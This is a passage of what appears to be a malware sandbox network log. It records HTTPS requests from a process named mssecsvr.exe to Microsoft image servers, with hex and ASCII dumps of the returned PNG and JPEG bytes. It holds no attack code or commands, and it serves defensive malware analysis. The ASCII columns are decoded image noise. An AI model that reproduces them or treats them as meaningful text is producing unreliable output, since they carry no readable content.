59 bf dd 65 fb a3 f1 cd 60 69 fa d1 d4 a6 f2 f4 a6 8e 44 8e 47 5f b4 c9 20 6f 99 7d 08 eb 91 f8 fb 54 56 ba 49 f1 cd bd c9 d7 56 39 6c e4 d9 24 5a 5c 72 3a b2 b2 92 cb b9 86 16 4c e5 4e d3 d0 af 7a 8e 59 25 ba d4 a5 b2 fe Data Ascii: b[>?O7.>&73<2qp\|6>gGvr.V8]:\|qM=BSeY0c }9u<'DC.c_9c\|,@`+yy/lt+&mq)Ye`iDG_ o}TVIV9l$Z\r:LNzY%
2022-07-20 11:24:37 UTC	4462	IN	Data Raw: 49 84 f2 dc 0c 2c 91 32 8f dd 31 07 aa e3 75 45 6b e1 5b b8 6e a2 d3 a4 d1 74 fb cd 22 2b 47 48 b5 0b 9b b9 27 bc 86 e0 80 3e 66 01 19 01 19 f9 c1 63 c7 24 53 95 37 28 ff 00 98 46 69 3b b4 58 d4 3e 2a 58 9f 11 69 5a 23 68 33 df 5e f9 d1 fd ae 4f 0a af da 2d e1 f3 86 50 c8 f2 f9 4a 88 01 dc ea a5 f9 c0 03 ad 4f ac 7c 35 b9 d1 3c 51 a8 6a 3a 7e b5 a8 5e 69 b7 2b 22 dc e8 97 df 3a 6e 7c 67 c8 95 fa 21 03 98 cf 03 b1 1d 2b 3e 6b 9d 2b c2 4d a4 47 6d f6 19 ee 16 03 24 7b 5b c8 4b 74 52 16 46 8f 7e ed c3 6b 63 6e 55 ce 73 c8 cd 76 9a 85 f5 c4 72 5e 1d 2d ae de f2 ce 60 cd 05 da 9f de 23 05 dc d1 a8 01 64 5d 83 95 d8 e4 37 75 a5 19 4e 1f 1a 09 28 cb e1 39 1b 9d 06 ef ec 6d 71 a3 5c b4 57 50 32 48 ba 6d f3 15 82 45 1f f2 c4 b0 f9 95 4f b7 43 fa e4 c6 7c 45 0e 8f Data Ascii: I,21uEk[nt"+GH'>fc$S7(Fi;X>*XiZ#h3^O-PJO\|5<Qj:~^i+":n\|g!+>k+MGm${[KtRF~kcnUsvr^-`#d]7uN(9mq\WP2HmEOC\|E
2022-07-20 11:24:38 UTC	5436	IN	Data Raw: 2e 4c a9 ca fc bc 8e 38 ed 5d 27 87 f5 c1 6d 66 b1 44 da 6e a1 65 23 49 27 d8 6f ac 92 54 87 cc 3d 9d 42 94 6e 33 85 3b 46 07 15 1f 55 73 4d 2d 03 da a4 fd ed 4f 5e f8 91 f1 0b e1 07 c4 2b e6 8c 6b 9a 4c 17 9a 82 c7 77 7b ae cf 65 33 dd 2a 79 23 fd 59 3b 54 ba b0 60 ea 7f bd 9d b4 ed 27 4b d4 f5 bf 85 3f d8 7e 0f f0 77 86 67 ba d3 2f 92 26 f1 7f d8 8a ea bb 0f ce 7c b5 c3 09 2e 3c a2 df bc 13 60 12 30 99 18 ac ff 00 06 dc 7c 2e d6 35 0d 32 4d 53 4f be f0 96 af 6c d1 f9 ad e7 cf f6 3f 39 46 3e d5 14 88 4f 94 d9 f9 8a ba 10 7f bc bd 6a d7 c4 5f 8d 17 fa 0f 8d b5 07 92 da 3b 9f 0f dd 40 2c 64 bb d3 6f e6 56 99 57 60 49 6e 25 5c c7 c6 fd c1 8e 0a 99 38 6e 46 78 ab 53 ae b4 87 f5 f7 e8 74 53 95 2d d9 85 ad 7c 55 fd a2 be 0b f8 81 af 7c 53 a4 5e eb 7e 0a fb 0b Data Ascii: .L8]'mfDne#I'oT=Bn3;FUsM-O^+kLw{e3*y#Y;T`'K?~wg/&\|.<`0\|.52MSOl?9F>Oj_;@,doVW`In%\8nFxStS-\|U\|S^~
2022-07-20 11:24:38 UTC	5468	IN	Data Raw: 09 27 a3 30 58 bd 35 47 8e f8 48 69 7a 85 c7 da 75 0d 0e 06 b7 83 6b 79 7a 7c 17 1e 6c 8b 92 0e 5b 71 db cf e1 f4 af 51 5d 6a df 50 b1 b3 3a 75 e4 70 59 c4 be 52 c7 73 23 a4 b0 a0 1f 2a 9c 8e b9 e3 9c fd 6b 9b b7 f0 7c 9a 2e a4 c3 42 f1 44 fa 2a 4f 20 fd de e4 9e 2d c7 ee ae 1b e6 3f 99 ad 0d 3e df e2 1d 84 ca 97 17 9a 4d f4 3b b7 79 92 2b c5 b7 df e5 02 9d 25 2a 6a cd 7d df f0 e4 54 71 9b ba 7f 79 bb a5 78 92 cd 2c f1 a9 dc db 41 a9 44 a7 73 33 6e 7d 8d d3 3b 8f 63 fd de 3e 95 a5 e7 5b 6a 4b 14 f6 fb 6e 63 f3 36 ac 91 b0 64 dc 3d 40 cf 20 fd 0d 71 fa f5 d7 8a f4 fd 2e 73 aa e8 ba 5f 88 6d 64 ff 00 9e 0d bd e3 c7 7c 15 5c e3 f3 a6 69 ff 00 da b3 5b d9 df 5a 5c cf 63 64 cc f2 7f 63 49 fb bd ca 73 93 c9 2d b8 ff 00 71 cf d0 8a eb a7 5d c7 dc 92 ba 39 a5 4d Data Ascii: '0X5GHizukyz\|l[qQ]jP:upYRs#k\|.BDO -?>M;y+%*j}Tqyx,ADs3n};c>[jKnc6d=@ q.s_md\|\i[Z\cdcIs-q]9M

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49731	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:38 UTC	73	OUT	GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:38 UTC	74	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 6463 Content-Type: image/png Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE" MS-CV: fY4WMkPOy0W6s1dW.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:38 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:38 UTC	74	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	50603	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:37 UTC	1021	OUT	GET /cms/api/am/imageFileData/RWyRpK?ver=14fb HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 11:24:37 UTC	1038	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWyRpK?ver=14fb Last-Modified: Sat, 02 Jul 2022 05:42:51 GMT X-Source-Length: 739965 X-Datacenter: northeu X-ActivityId: edd63dd3-6780-4b0e-a281-41ffd6e9f477 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 739965 Cache-Control: public, max-age=411670 Expires: Mon, 25 Jul 2022 05:45:47 GMT Date: Wed, 20 Jul 2022 11:24:37 GMT Connection: close
2022-07-20 11:24:37 UTC	1038	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 11:24:37 UTC	1102	IN	Data Raw: 58 5f 96 9c bb db e5 aa fe 72 53 a3 99 5b ef 49 be a7 95 82 65 86 5a 6a c7 47 99 46 e5 5f 96 91 43 a9 db bf d5 d4 6d 27 f7 69 be 72 b7 dd fe 1a 2d 71 13 2f cb 43 54 7e 75 0b 26 ef 97 fe 01 53 6b 05 c3 ee fd da 8d 5a 86 93 77 fc 0a a3 66 5f 33 73 53 13 44 df 32 53 77 7f 12 d3 55 b7 47 f2 fd fa 1b bd 34 2d c7 7f bb ff 00 03 a1 9b 6c 95 1e ef e2 a1 9b fc c7 57 60 b1 32 b7 f7 68 f9 7f 8a a1 dd ff 00 8e d1 ff 00 2d 3e 6f 32 8b 12 d9 22 fc df 7b e7 a1 57 f7 9b 6a 3e 7f e7 a5 1f c7 4c 09 16 4f ef 50 ac b5 1e ef dd ee 5a 37 7f e3 bf 7f fc 29 58 09 a3 93 6d 3b 77 fa cf f6 7e 4a ae cd b7 ef 7c f4 48 df ea e9 5a e0 58 59 37 fc df f7 dd 39 5a a9 ff 00 b3 4e 6a ae 51 5c b8 ad 47 fb 35 55 66 db f7 6a 46 93 f7 95 1c a1 72 c2 c8 be 67 cb f3 d4 6d 27 df 5a 8d 9b f8 7f bb Data Ascii: X_rS[IeZjGF_Cm'ir-q/CT~u&SkZwf_3sSD2SwUG4-lW`2h->o2"{Wj>LOPZ7)Xm;w~J\|HZXY79ZNjQ\G5UfjFrgm'Z
2022-07-20 11:24:37 UTC	1168	IN	Data Raw: 2f d5 b3 f2 fc af e3 0d 26 f2 f3 c5 5a d6 b9 e2 4d 36 d6 d5 f5 2d 5a e3 ce b1 82 06 4d 8d 2b 3b be c1 d8 46 fd 2b e8 b0 92 52 8d 9b d4 e3 ad 7b e8 8e 05 ae 2c 7f b4 ad 35 25 8e 0b db 45 b8 df 34 1f df 5f e2 e2 8b ab 3b 67 ba 92 de de 09 20 89 91 9d 23 91 d9 f7 af 54 fc 7f 87 75 6f 6a 5e 0d 95 67 f2 6d f5 6b 1b df b3 c3 1c a9 26 ff 00 e1 7f a7 f0 83 eb 58 ba b7 86 f5 3d 2e 7b 4f 3b cc 4f ee 49 fc 1b ba ed af 4a eb 74 ce 6d 5a b3 3e 96 f8 23 f1 e1 bc 69 a9 7f c2 2b aa 5b c7 fd a7 6f 69 be d2 78 df fe 3e 55 17 e7 dc 0f 49 07 de ff 00 6b e6 af 4a ba 93 74 92 32 d7 c4 7e 1f d7 2e 7c 33 ae 58 5f 59 c7 e4 6a b6 17 6b 71 6f 3f fb bc 34 67 d5 0f fe 82 cd 5f 63 78 77 c4 9a 7f 8b 7c 3f a6 eb 5a 6f fc 79 5f c3 e7 43 1c 9f 7d 3f bd 1b 7f b4 ad f2 d7 db 65 18 af 6f 17 Data Ascii: /&ZM6-ZM+;F+R{,5%E4_;g #Tuoj^gmk&X=.{O;OIJtmZ>#i+[oix>UIkJt2~.\|3X_Yjkqo?4g_cxw\|?Zoy_C}?eo
2022-07-20 11:24:37 UTC	1192	IN	Data Raw: 11 c5 36 b3 3b c4 fe 7c d1 12 9e 66 d8 9b 62 ab 77 eb eb 5f 35 5c 6b 9a 85 86 b1 07 8b af bc 35 05 ea 2e ac d7 16 f3 dd 26 f4 79 e2 61 37 d9 65 61 86 fb bf 37 6c d7 93 25 f5 8f 75 b6 7a 71 5c 8b 63 f4 a7 e3 0e ad 26 a7 a6 c9 e0 cb 3d 16 4b dd 43 5b b4 91 52 c5 e6 f2 96 66 db b7 32 cb fc 11 a6 de 7d 7e 51 54 7e 0d fc 2d bd f0 92 6a 57 5e 20 d5 60 d5 fc 51 72 ab 15 dd d5 ac 0d 6f 14 36 cb fe ae de 15 3f c0 85 37 06 af 39 f8 1f fb 48 68 7e 22 f8 65 ab 78 a2 db 49 9e ea fe c2 ee 31 a9 cd 75 74 d7 17 77 2a 57 74 6e 64 6f e0 e6 5c 2f 45 5a fa 0f c1 ba b7 f6 dd 8d 86 a5 71 22 40 f7 1b b6 47 bf 7a 3c 4d fd 3d 2b 89 d2 5e d6 d5 1f bd f9 23 07 29 42 87 2c 55 a2 ff 00 16 5f 87 4b f3 7f 7d 22 79 fe 7b f9 52 c8 89 b1 f6 b7 ce b1 fe 19 af 8f 3c 45 f0 d5 75 4f 88 57 6d Data Ascii: 6;\|fbw_5\k5.&ya7ea7l%uzq\c&=KC[Rf2}~QT~-jW^ `Qro6?79Hh~"exI1utw*Wtndo\/EZq"@Gz<M=+^#)B,U_K}"y{R<EuOWm
2022-07-20 11:24:37 UTC	1353	IN	Data Raw: f9 cc ff 00 f0 2f 9d cf 56 e4 d5 6f 88 de 3a d6 a6 f8 73 69 e2 6f 0b e9 b2 26 af ae 3c 29 6f 6b 75 e5 a4 b0 cb 2f ca 24 51 9d ac d8 fb b9 af 98 3e 05 7c 65 f8 c9 e3 1d 7e d3 c2 96 7a 2f f6 be 89 66 ff 00 62 be ba d5 2c bc a9 61 83 77 cc 64 ba 6c 7c e9 f7 87 56 f9 71 55 1c 44 e7 17 2a 6d 69 e8 83 d8 b9 af 7b e7 fa 9f 5b 78 eb 5c d2 af 27 fe c9 b8 d4 ad 6c b5 3b a4 67 f3 23 7f 37 c9 55 c6 ef 93 3f 7b d3 b5 73 fe 05 f1 15 ce 97 ac 47 e1 f8 6f ee b5 09 74 8b eb 4b 17 fb 74 fb ee 2e 6d 66 5d c9 23 7a bf 3f f9 0e bc 5f c2 bf 03 be 22 6b 1f 1d af bc 59 ae f8 ea cb 4c fe cd d4 fe d1 e7 a4 0c 8f 79 a7 a3 6d ca 20 f9 23 8d 97 e5 d8 4b 7a d6 d2 ac 5a a7 ed 81 e0 8f 3a 79 d2 2f b0 ea 37 69 62 fb be 46 48 26 8e 32 70 3b a7 cc ad 9a c7 da 4a ac d5 da bf 74 5f b2 85 38 Data Ascii: /Vo:sio&<)oku/$Q>\|e~z/fb,awdl\|VqUD*mi{[x\'l;g#7U?{sGotKt.mf]#z?_"kYLym #KzZ:y/7ibFH&2p;Jt_8
2022-07-20 11:24:37 UTC	1376	IN	Data Raw: 82 09 a1 b8 8e 7b 7b a8 56 68 67 8f ee 4d 13 ae e5 6a 6a fc b1 d7 d9 29 29 25 28 bb a6 7c 93 4e 2d a6 b5 21 5f 97 ef 7c 94 2f f9 f3 2a 45 fb 94 d9 15 57 e6 5a b0 1b f7 7e ed 0c b4 e5 6d bf ee 53 be f4 9b 57 fb 94 12 47 fe ed 35 b6 f9 7b 56 9f 49 f7 e8 28 6e da 3e f7 fb 94 e5 5f f8 05 3b e6 5f 9a 9d c0 8d bf f1 ca 37 6e f9 a9 df ec ac 74 bc d1 70 b8 cd bf f4 d2 8d bf de a7 6d a7 7f b5 48 44 7f ec d3 7f e5 9f fc f4 a9 97 ff 00 b3 a6 ae e5 fb d4 ef a1 40 cb fd d4 a1 bf e5 9d 3b 6d 1b 77 7c bf f7 dd 22 2c 46 ab ba 85 5f dd d3 99 77 7f b7 4b 40 c3 9a 4d bb be ef dc a7 7f b3 fc 14 e5 5f e1 a4 36 ec 35 be 5f f6 29 ad 52 6d f6 a6 b5 24 2b dc 19 69 ab 1f ee e8 55 db f7 aa 45 5a a0 23 db fc 2b 42 ad 49 b7 75 1f ef 50 26 37 6f f0 d3 76 d4 9b 7f 86 8f fc 72 81 91 aa Data Ascii: {{VhgMjj))%(\|N-!_\|/*EWZ~mSWG5{VI(n>_;_7ntpmHD@;mw\|",F_wK@M_65_)Rm$+iUEZ#+BIuP&7ovr
2022-07-20 11:24:37 UTC	1408	IN	Data Raw: 6b 8a f1 87 81 6d b4 9f 87 b2 68 71 ea 7a c5 8e 9b a9 5d da 5b dd dd 41 74 cf 76 eb 34 9b 24 8d 64 7c f9 7b db 6a 9c 7d d1 ba ae fc 42 be b1 f1 3c d6 1f 0d ac f4 d7 bd 96 ce ef 48 bb bb b4 4d bf e8 16 29 3e f4 97 6e 7e 75 fd d6 c3 8e 95 d3 19 b4 bd e5 6b f6 32 f6 2a ea ce ea ff 00 87 53 a7 9b e1 6c b6 3a 04 fa 0e 9b a9 5d 6f fb 27 d9 2d ef ae a7 f3 6e 37 7c 99 df 27 de e8 9c 56 6f 8e 3c 4d e2 fb 3d 2e ee f3 41 f0 d5 8d d6 a7 13 ec 86 39 ef 55 ff 00 75 fc 4d b7 82 c3 d3 fd de 6a dd bf c5 24 b9 f8 b1 77 e1 5b 1b 1b eb a9 6d 6d da ee ef 51 d8 a9 14 3f 37 c9 19 cf f7 ff 00 84 f7 ac 4f 8b 17 97 9e 08 f0 ae ad ad 69 b0 4e f1 7d 92 6f 26 04 f9 e5 f3 ee 1b 70 93 d7 6a 3f e4 1a a7 dd e5 6e 3a 0a 3c fc e9 4f 5e a6 63 78 4f 5a d2 fe 04 e9 b7 fa d7 d9 75 0d 4b 44 d4 Data Ascii: kmhqz][Atv4$d\|{j}B<HM)>n~uk2*Sl:]o'-n7\|'Vo<M=.A9UuMj$w[mmQ?7OiN}o&pj?n:<O^cxOZuKD
2022-07-20 11:24:37 UTC	1480	IN	Data Raw: c1 77 7f b9 fc 35 15 ea 3f 66 9a de c1 87 52 f6 aa dd c8 bc 05 ab 41 a3 f8 df c1 9e 17 8e 04 fb 5f fc 22 6b 2b fd 95 f7 c5 6d 12 2c 38 ff 00 be dd b8 ff 00 72 bd 26 49 25 fe d2 bf fd e6 fd db 7c 9f e7 5c 87 86 6d 74 d9 3c 6f e2 c9 34 e4 8e 19 b4 b8 ad 74 c7 f2 d1 51 36 c5 0e fd 8b fe cf ef 2b 66 1d 49 af f4 a8 e4 59 23 79 7e cf 1d c2 49 27 c9 f3 32 fd df ef 55 d1 a9 c9 1e 55 ea 2a d1 52 7c de 5f f0 7f 53 43 c4 97 5f 67 d3 6e e6 87 fe 3e e5 45 85 3f db 96 a1 8e 15 b3 8e c6 d5 63 d9 6f 14 2d fb cf e3 da bc 56 6e a5 a8 2c de 32 fb 1f ef 3f d1 ed 17 51 8b fb 88 cb 21 43 bb fd ad bd 2b 62 6b cd f6 a9 27 f0 7d cf 32 4f f6 9b 83 5b 7b 47 37 26 cc b9 79 52 33 6e af 1b 49 d4 60 6b 79 3f 75 ab 5d ad bc 2f 22 7c 90 fc ae b9 3f 8f 4a f2 df 19 5c 4f a1 fc 7a f8 73 6a Data Ascii: w5?fRA_"k+m,8r&I%\|\mt<o4tQ6+fIY#y~I'2UU*R\|_SC_gn>E?co-Vn,2?Q!C+bk'}2O[{G7&yR3nI`ky?u]/"\|?J\Ozsj
2022-07-20 11:24:37 UTC	1512	IN	Data Raw: 6d d6 ea 4d 97 0a 9b de 4a f6 d6 a5 cb 43 93 9b 4d 8b 54 92 48 e4 f9 d1 a1 6f f7 f7 6e c8 35 97 6f ac 5f 59 da c9 67 37 ce f1 7c e9 e6 7d ff 00 ce 9d 79 e2 05 8b 52 9e 48 fe 7d a9 b1 24 fe 0d cd 54 e4 d4 9a ea 08 e3 92 4f 3f ca dd fb f4 45 fe 26 c9 fc 2b bd 2b 7c 4b 43 95 b5 ba 76 3b 2d 42 4d b0 58 5c 34 9b 11 5d 66 ff 00 c7 77 57 26 b6 30 6b 36 37 fe 20 92 3f b2 de cb 71 bd 3e 7f f9 65 2e 78 ff 00 be 76 d7 41 af 37 da 3c 1d 3d bc 32 6f 4f 25 76 49 b3 ef fa d7 23 71 75 7d 17 f6 6a c7 06 cb 2f 27 7c df dc 4d bf 2d 63 05 d8 b9 6e 75 0b a1 c1 71 05 a5 d7 99 bf cd 87 c9 7f 9f e4 75 56 ac 5f 14 69 7a 55 87 99 34 71 f9 f6 ff 00 71 fe 46 d8 9f 2f f7 bf 8a b6 34 3b 19 6e ac 64 91 a3 92 74 54 5f dc 6f d8 9f 37 73 4d ba d1 fe d5 24 91 c9 24 69 6e df 7f cc f9 dd 3f Data Ascii: mMJCMTHon5o_Yg7\|}yRH}$TO?E&++\|KCv;-BMX\4]fwW&0k67 ?q>e.xvA7<=2oO%vI#qu}j/'\|M-cnuquV_izU4qqF/4;ndtT_o7sM$$in?
2022-07-20 11:24:37 UTC	1678	IN	Data Raw: fa 3d 3e 6d 4b fe 11 ad 62 54 57 4d 37 c4 09 f6 77 7d cb f2 ed 93 98 f9 ff 00 78 1f 6a ef 24 b3 9e d7 cb f3 a3 d8 92 a6 f4 93 f8 1d 7d 45 7a 51 ab 4e a2 bc 25 73 ce 95 2a 94 9d a6 ac 57 f9 aa 45 66 a6 b4 6d ff 00 03 a7 2f cb ff 00 8f 53 64 dd a0 dd fb ca 6b 35 1b b6 fc b4 e6 a0 9e 76 46 df 2c 9f 34 95 0b 48 de 65 4d 25 47 b7 6f de ab 45 a7 71 b1 cc bf c5 f7 eb df 3f 67 fd 35 ac fc 33 7d a9 ac 71 fd a2 ea e3 ca 49 3f d9 5e b5 e1 7f 65 dd f3 49 f2 6d af a9 3c 2b a3 cb e1 ff 00 87 ba 4e 9f 6a 9f bd 6b 15 7d ff 00 c1 b9 f9 dd 5f 21 c4 b8 8f 67 83 50 4f 59 3f c8 fa 2c 9e 97 35 77 27 d8 a9 a4 41 af 5a 41 25 ae a1 ae c9 ab aa bc d2 a4 92 5a ac 5b 37 e1 92 30 ab c6 d4 f9 96 af c9 6f 73 71 24 71 fd ae 47 7d 9f fe b3 52 5b f9 ff 00 61 b4 91 a3 fd eb 23 7f e8 3f d4 Data Ascii: =>mKbTWM7w}xj$}EzQN%s*WEfm/Sdk5vF,4HeM%GoEq?g53}qI?^eIm<+Njk}_!gPOY?,5w'AZA%Z[70osq$qG}R[a#?
2022-07-20 11:24:37 UTC	1726	IN	Data Raw: ad 7a b9 5e 98 b8 7f 5d 0f 37 31 d7 0f 2f eb aa 3d 89 95 bf 86 a1 91 76 ff 00 cf 3a d0 91 57 ef 7f 05 57 92 18 97 cc db f7 2b f4 65 23 e2 4a 6d de a3 6f 96 ae 49 6f ba a3 f2 57 f8 6a b9 91 25 55 5d cf b7 ef bf fd 34 a1 7e 58 f7 55 86 5d bf f2 d3 fe fe 53 7c b5 f3 3f db aa e6 15 81 57 fb d4 e5 dd e6 6e a1 7f bb 43 35 41 45 88 db f7 7f f8 fd 58 fb 56 df 9b ee 55 1d df c5 be 9d bb f7 95 94 95 d9 57 b1 71 ae 3f bd 56 16 f3 fe 99 ff 00 df 15 96 ad fc 34 e5 92 93 81 5c cc d2 5b c5 ff 00 71 e9 be 76 df 99 63 ac f6 99 57 e6 a1 5b 77 fd f7 53 ca 3e 63 5a 1d 51 7c bf 2f fb b4 36 a1 ba 3f 97 fd fa c9 db fb cf f6 e8 6d df c5 25 4f b3 45 7b 49 1a df 6a 5f 2f ef ff 00 1d 37 ed 0a df 2d 64 af c9 ff 00 2d 29 cc b4 7b 34 2e 76 6a 7d b3 fd 63 79 95 1c 97 9f ea ff 00 79 59 Data Ascii: z^]71/=v:WW+e#JmoIoWj%U]4~XU]S\|?WnC5AEXVUWq?V4\[qvcW[wS>cZQ\|/6?m%OE{Ij_/7-d-){4.vj}cyyY
2022-07-20 11:24:37 UTC	1774	IN	Data Raw: b3 c7 36 a1 3e a9 e4 de fd b5 a2 ff 00 54 de 53 2f 96 bb 7e 6f 95 17 f1 ae cb 49 b3 6d 27 4d 8e c7 4f b4 b5 83 4c f2 be 7b 5b 5b 55 b7 b7 87 77 de 62 b1 e0 7c df 77 6d 6f 2e 45 68 a6 dd 8e 3f 69 27 7b 2b 1f 32 f8 9b f6 27 9f c5 7f 10 a7 d6 35 af 1d 6a 30 5c 2d bc 36 9e 7d 8c 11 f9 53 32 2e e2 c8 a3 fe 58 ae ed 83 cc 3b b3 5d 56 8b fb 1a f8 56 29 a0 bc d7 bc 51 e2 0f 11 24 50 b3 a5 8c 97 4b 69 16 d4 ea 7e 4f 99 93 f1 af a1 ae 16 7b 5d 1e 0b 8b 88 f7 aa ee b4 87 f8 36 32 f6 fc 2b 2f 6f 95 a9 7f a6 4e f7 5f 75 fc 88 11 52 2b 6f f7 64 e7 7b 9e f5 35 b1 92 a7 68 ca 56 56 db 6d 0c a9 c7 9a f6 2d 69 3a e5 df 87 f4 7b 4d 3f c3 31 c7 a4 68 f6 e9 b2 14 82 35 89 21 f4 1e 5f b8 f9 8d 55 b8 ba 9e 59 20 91 af ee a7 75 4f f5 93 be ff 00 9a a1 6f f9 69 fe d5 46 d5 f3 95 Data Ascii: 6>TS/~oIm'MOL{[[Uwb\|wmo.Eh?i'{+2'5j0\-6}S2.X;]VV)Q$PKi~O{]62+/oN_uR+od{5hVVm-i:{M?1h5!_UY uOoiF
2022-07-20 11:24:37 UTC	1822	IN	Data Raw: 4a 0b 94 4f 9b 3f be 51 b7 71 4d de 9c 7a d7 af 78 3b c4 d0 78 6b c7 d6 9f 61 b4 b5 d3 ad e2 fd ec a9 6b 1a db cb 73 2a c5 b1 ad cb 46 36 ed 3f 2c 8b 27 de ae b8 c6 31 95 8e 6a dc d2 85 ba a3 53 c4 92 4b e1 7d 36 0f b5 25 8d d7 f6 93 ec 86 08 d3 fd 1d 27 65 f9 64 52 30 cf b5 bf 85 bf 1a ec 6e 7e 22 69 de 20 9b 4d f0 fe 93 ac da eb ba ac 56 96 5a 7d dd ac 10 37 94 ed 0c fb a7 24 49 f7 93 6f d7 70 af 39 d2 7e 1e e8 3a 50 92 0f 17 6a 3a 39 b5 d1 7c c9 9c 5b a4 92 dc c3 05 c4 9e 66 6e 9e 5d d2 3a ab 76 07 76 dd c7 6d 70 1e 15 f8 89 a5 5c 78 ef 4d d4 ff 00 b0 67 be ba fb 5f 93 16 a3 6b 7d 3c d2 a4 ad 26 21 36 c8 7e 76 50 bf c0 ff 00 78 7a 52 f6 1c 97 95 3d 99 83 51 a9 a4 b7 47 dd 1e 30 f0 3e 8b e2 8b 4b 78 6f 34 d8 dd ed e6 5d 92 7f 73 67 cc b8 c7 a7 6f 4a e1 Data Ascii: JO?QqMzx;xkaks*F6?,'1jSK}6%'edR0n~"i MVZ}7$Iop9~:Pj:9\|[fn]:vvmp\xMg_k}<&!6~vPxzR=QG0>Kxo4]sgoJ
2022-07-20 11:24:37 UTC	1925	IN	Data Raw: 4d 9f 73 6f a8 a7 1a 93 a7 f0 3b 13 38 42 a2 f7 d5 cf 4c 6f da f3 c6 6a 91 c7 71 a4 f8 7f ee 7c f2 47 62 c9 bf e6 fb df eb 38 fc 2b ba f0 8f ed 61 e1 cd 53 cf 8f c4 56 17 5e 1d b8 57 54 86 48 37 5d db bf ae e3 c3 c7 8f a3 57 cd b7 56 31 4b 26 e9 23 d8 9b fe 7f f1 f6 ac fb 5d 36 5f 3f cb b8 f2 de 26 76 df 22 7f 02 d7 74 31 95 61 aa 91 c3 2c 1d 29 68 91 f7 76 87 f1 73 c0 fe 20 d4 bf b3 f4 df 16 69 57 57 08 9b d3 cf 76 b7 df fe eb 4a 15 6b b2 8e c6 7b 88 f7 43 1f da 93 e5 df e4 3a cb ff 00 a0 e6 bf 35 66 66 54 8f f7 7f ba 64 d9 e5 ff 00 5a bd 67 aa 5e 78 7e 4d da 3d fd d6 9c ed f7 e4 b1 9e 48 b7 b7 6c ed 35 d7 0c ca 6f 49 c5 1c f3 c0 c7 ec b3 f4 53 6f 97 26 d9 3c c4 7f e3 f3 2a c2 c7 fc 2a 9f 3f fb 95 f0 ce 97 fb 42 7c 4f d0 60 8e ce 3f 16 5f 4f 65 6e 9f 27 Data Ascii: Mso;8BLojq\|Gb8+aSV^WTH7]WV1K&#]6_?&v"t1a,)hvs 